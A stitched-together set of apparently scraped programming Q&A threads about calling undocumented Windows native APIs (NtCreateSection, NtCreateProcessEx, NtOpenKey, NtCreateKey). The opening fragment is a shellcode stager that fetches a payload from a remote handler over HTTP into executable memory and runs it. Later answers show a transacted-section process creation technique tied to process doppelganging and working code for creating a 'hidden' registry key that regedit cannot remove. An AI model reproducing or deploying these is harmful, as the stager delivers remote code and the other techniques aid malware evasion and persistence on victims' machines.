fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READWRITE);
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
HttpRequest(handler, URI, UA, Port, method, (char*)localSectionAddress);
((void(*)())localSectionAddress)();
}
It appears you cannot set RWX permissions from Windows 8.1 or above for the NtAllocateVirtualMemory function: link
This article seemed to suggest that it was so it misled me into trying it: link
I want to call NtCreateProcessEx, But i get no exception and error and nothing happens. Also i don't want to use CreateProcess. My intention is to create and run a process from a file with this specific function.
This what i have tried so far:
#include <Windows.h>
#include <bcrypt.h>
#include "winternl.h"
#pragma comment(lib, "ntdll")
NTSTATUS NTAPI NtCreateProcessEx(
OUT HANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN OBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN BOOLEAN InheritObjectTable,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN BOOLEAN InJob);
int main()
{
const HANDLE ph = nullptr;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING fileName;
RtlInitUnicodeString(&fileName, PCWSTR(L"\\??\\C:\\Windows\\System32\\calc.exe"));
(&oa)->Length = sizeof(OBJECT_ATTRIBUTES);
(&oa)->RootDirectory = nullptr;
(&oa)->Attributes = 0x00000040L;
(&oa)->ObjectName = &fileName;
(&oa)->SecurityDescriptor = nullptr;
(&oa)->SecurityQualityOfService = nullptr;;
NtCreateProcessEx(ph, PROCESS_ALL_ACCESS, oa, nullptr, FALSE, nullptr, nullptr, nullptr, FALSE);
return 0;
}
There is no document and example on whole internet about this specific function. I am able to do something somewhat similar to this for NtCreateFile, But this is my closest try for NtCreateProcessEx and no luck.
I work with Visual Studio 2019 and windows 10 1909.
These are some resources that i tried:
NtCreateProcess(Ex) - Can I have a child process inherit the parents address space while running under a different process name?
http://www.rohitab.com/discuss/topic/40191-ntcreateuserprocess/
https://github.com/Microwave89/createuserprocess/blob/master/createuserprocess/main.c
http://www.rohitab.com/discuss/topic/42229-start-a-process-using-ntcreateprocessex-usermode/
https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
First of all, the 3rd parameter is a pointer to the OBJECT_ATTRIBUTES:
typedef NTSTATUS(NTAPI* fpNtCreateProcessEx)
(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
HANDLE ParentProcess,
ULONG Flags,
HANDLE SectionHandle OPTIONAL,
HANDLE DebugPort OPTIONAL,
HANDLE ExceptionPort OPTIONAL,
BOOLEAN InJob
);
A sample to use(remove error checking):
#include <windows.h>
#include <iostream>
using namespace std;
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(NTAPI* fpNtCreateProcessEx)
(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
HANDLE ParentProcess,
ULONG Flags,
HANDLE SectionHandle OPTIONAL,
HANDLE DebugPort OPTIONAL,
HANDLE ExceptionPort OPTIONAL,
BOOLEAN InJob
);
typedef NTSTATUS(NTAPI* fpNtCreateTransaction)
(
PHANDLE TransactionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
LPGUID Uow,
HANDLE TmHandle,
ULONG CreateOptions,
ULONG IsolationLevel,
ULONG IsolationFlags,
PLARGE_INTEGER Timeout,
PUNICODE_STRING Description
);
typedef NTSTATUS (NTAPI *fpNtCreateSection)
(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
typedef NTSTATUS (NTAPI *fpNtClose)
(
HANDLE Handle
);
#define PS_INHERIT_HANDLES 4
int main()
{
HANDLE hProcess;
OBJECT_ATTRIBUTES objattr;
UNICODE_STRING objname;
NTSTATUS status;
WCHAR wstrObjName[MAX_PATH];
lstrcpyW(wstrObjName, L"C:\\test.exe");
HINSTANCE hinst = LoadLibrary(L"ntdll.dll");
fpNtCreateProcessEx _NtCreateProcessEx = (fpNtCreateProcessEx)GetProcAddress(hinst, "NtCreateProcessEx");
fpNtCreateTransaction _NtCreateTransaction = (fpNtCreateTransaction)GetProcAddress(hinst, "NtCreateTransaction");
fpNtCreateSection _NtCreateSection = (fpNtCreateSection)GetProcAddress(hinst, "NtCreateSection");
fpNtClose _NtClose = (fpNtClose)GetProcAddress(hinst, "NtClose");
// Initialize ObjectName UNICODE_STRING
objname.Buffer = wstrObjName;
objname.Length = wcslen(wstrObjName) * sizeof(WCHAR); // Length in bytes of string, without null terminator
objname.MaximumLength = MAX_PATH * sizeof(WCHAR);
// Initialize OBJECT_ATTRIBUTES
objattr.Length = sizeof(OBJECT_ATTRIBUTES);
objattr.Attributes = 0x00000040L; //OBJ_CASE_INSENSITIVE
objattr.ObjectName = NULL;
objattr.RootDirectory = NULL;
objattr.SecurityDescriptor = NULL;
objattr.SecurityQualityOfService = NULL;
HANDLE hTransaction = NULL;
status = _NtCreateTransaction(&hTransaction,
TRANSACTION_ALL_ACCESS,
&objattr,
NULL,
NULL,
0,
0,
0,
NULL,
NULL);
HANDLE hTransactedFile = CreateFileTransacted(wstrObjName,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL);
HANDLE hSection = NULL;
status = _NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hTransactedFile);
status = _NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, false);
DWORD pid = GetProcessId(hProcess);
printf("Pid = %d\n", pid);
CloseHandle(hTransactedFile);
_NtClose(hTransaction);
_NtClose(hSection);
_NtClose(hProcess);
return 0;
}
Do i have to change a specific flag or use another standard function to resume the process state?
You must create thread. New process doesn't have any thread. You must allocate memory for thread and then call ZwCreateThread. For details, see Garry Nebeth book for windows 2000.
I'm creating a user-mode CMD app using VS 2013 in C++ and I'm trying to use the native registry editing functions in it. I'm trying to open certain key with 'NtOpenKey' but it always fails with 'STATUS_OBJECT_NAME_NOT_FOUND' and I'm sure that the 'object' is in it's place so the reason must be somewhere else. I want to use the native registry API's because they can handle 'Hidden Registry Keys' - look here for more info. Here is a snippet of my code:
#include <Windows.h>
#include <tchar.h>
#include <wininet.h>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include "Nt_Funcs_declr.h" //here I have manually included the native api declarations as normally I'm denied to use them but they're exported in ntdll.dll so basically it is possible
#include <zlib.h>
//Obitain Steam folder path
wchar_t *GetSteamPathBuffer()
{
//Open the Sofware Steam registry
OBJECT_ATTRIBUTES objAttrs;
objAttrs.Length = sizeof(OBJECT_ATTRIBUTES);
objAttrs.RootDirectory = NULL;
wchar_t strRegSteam [] = L"\\Registry\\Machine\\SOFTWARE\\Valve";
UNICODE_STRING uStrTmp = { sizeof(strRegSteam), sizeof(strRegSteam), strRegSteam };
objAttrs.ObjectName = &uStrTmp;
objAttrs.Attributes = OBJ_CASE_INSENSITIVE; //
objAttrs.SecurityDescriptor = NULL;
objAttrs.SecurityQualityOfService = NULL;
HANDLE pKey;
ULONG tmmp = NtOpenKey(&pKey, GENERIC_READ, &objAttrs); //here it fails with 'STATUS_OBJECT_NAME_NOT_FOUND'
if(tmmp)
{
cout << "Error: " << GetLastError();
return NULL;
}
//....
}
And Nt_Funcs_declr.h:
#pragma once
//NTDLL import declarations
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
//
// Unicode strings are counted 16-bit character strings. If they are
// NULL terminated, Length does not include trailing NULL.
//
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT * Buffer;
#else // MIDL_PASS
_Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer;
#endif // MIDL_PASS
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
//
// Valid values for the Attributes field
//
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
NtOpenKey(
_Out_ PHANDLE KeyHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes
);
typedef enum _KEY_INFORMATION_CLASS {
KeyBasicInformation,
KeyNodeInformation,
KeyFullInformation,
KeyNameInformation,
KeyCachedInformation,
KeyFlagsInformation,
KeyVirtualizationInformation,
KeyHandleTagsInformation,
KeyTrustInformation,
MaxKeyInfoClass // MaxKeyInfoClass should always be the last enum
} KEY_INFORMATION_CLASS;
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
NtQueryKey(
_In_ HANDLE KeyHandle,
_In_ KEY_INFORMATION_CLASS KeyInformationClass,
_Out_writes_bytes_opt_(Length) PVOID KeyInformation,
_In_ ULONG Length,
_Out_ PULONG ResultLength
);
typedef enum _KEY_VALUE_INFORMATION_CLASS {
KeyValueBasicInformation,
KeyValueFullInformation,
KeyValuePartialInformation,
KeyValueFullInformationAlign64,
KeyValuePartialInformationAlign64,
MaxKeyValueInfoClass // MaxKeyValueInfoClass should always be the last enum
} KEY_VALUE_INFORMATION_CLASS;
typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
ULONG TitleIndex;
ULONG Type;
ULONG DataLength;
_Field_size_bytes_(DataLength) UCHAR Data[1]; // Variable size
} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
NtQueryValueKey(
_In_ HANDLE KeyHandle,
_In_ PUNICODE_STRING ValueName,
_In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
_Out_writes_bytes_opt_(Length) PVOID KeyValueInformation,
_In_ ULONG Length,
_Out_ PULONG ResultLength
);
NOTE: It's for educational prupose so please don't ask me why I don't use WIN32 API.
NB: using the kernel API from user mode is unsupported. I strongly recommend against doing so, unless there is a compelling reason why it is necessary.
Here's the problem:
UNICODE_STRING uStrTmp = { sizeof(strRegSteam), sizeof(strRegSteam), strRegSteam };
From the documentation for UNICODE_STRING:
If the string is null-terminated, Length does not include the trailing null character.
So you should be saying something like
UNICODE_STRING uStrTmp = { sizeof(strRegSteam) - sizeof(wchar_t),
sizeof(strRegSteam),
strRegSteam };
As written, your code was attempting to open a key named L"Valve\0" instead of the key named L"Valve".
Addendum: it has been disputed whether so-called "hidden" keys (an unfortunate name IMO; the keys are visible to Win32 code, they simply can't be manipulated) are actually possible, so here's working code to create one:
#include <Windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;
#define OBJ_CASE_INSENSITIVE 0x00000040L
#pragma comment(lib, "ntdll.lib")
__declspec(dllimport) NTSTATUS NTAPI NtCreateKey(
__out PHANDLE KeyHandle,
__in ACCESS_MASK DesiredAccess,
__in POBJECT_ATTRIBUTES ObjectAttributes,
__reserved ULONG TitleIndex,
__in_opt PUNICODE_STRING Class,
__in ULONG CreateOptions,
__out_opt PULONG Disposition
);
NTSYSAPI NTSTATUS NTAPI NtOpenKey(
__out PHANDLE KeyHandle,
__in ACCESS_MASK DesiredAccess,
__in POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI NTSTATUS NTAPI NtDeleteKey(
__out HANDLE KeyHandle
);
int main(int argc, char ** argv)
{
HANDLE pKey;
NTSTATUS result;
OBJECT_ATTRIBUTES objAttrs;
wchar_t strSoftwareKey [] = L"\\Registry\\Machine\\SOFTWARE\\Test\0Key";
// If you use this string instead, the key functions normally, proving that the
// issue isn't because we're using UTF-16 rather than ANSI strings:
//
// wchar_t strSoftwareKey [] = L"\\Registry\\Machine\\SOFTWARE\\Test\u2D80Key";
UNICODE_STRING uStrSoftwareKey = {
sizeof(strSoftwareKey) - sizeof(wchar_t),
sizeof(strSoftwareKey),
strSoftwareKey };
objAttrs.Length = sizeof(OBJECT_ATTRIBUTES);
objAttrs.RootDirectory = NULL;
objAttrs.ObjectName = &uStrSoftwareKey;
objAttrs.Attributes = OBJ_CASE_INSENSITIVE;
objAttrs.SecurityDescriptor = NULL;
objAttrs.SecurityQualityOfService = NULL;
result = NtCreateKey(&pKey, GENERIC_ALL, &objAttrs, 0, NULL, 0, NULL);
if(result)
{
printf("NtCreateKey: %x\n", result);
return NULL;
}
#if 0 // enable this section to delete the key
// you won't be able to use regedit!
result = NtDeleteKey(pKey);
if(result)
{
printf("NtDeleteKey: %x\n", result);
return NULL;
}
#endif
}
As of Windows 7, at least, this still works. (You'll need a copy of ntdll.lib, available from the DDK/WDK, in order to build this code.)
Please do not do this in production code or on other people's machines.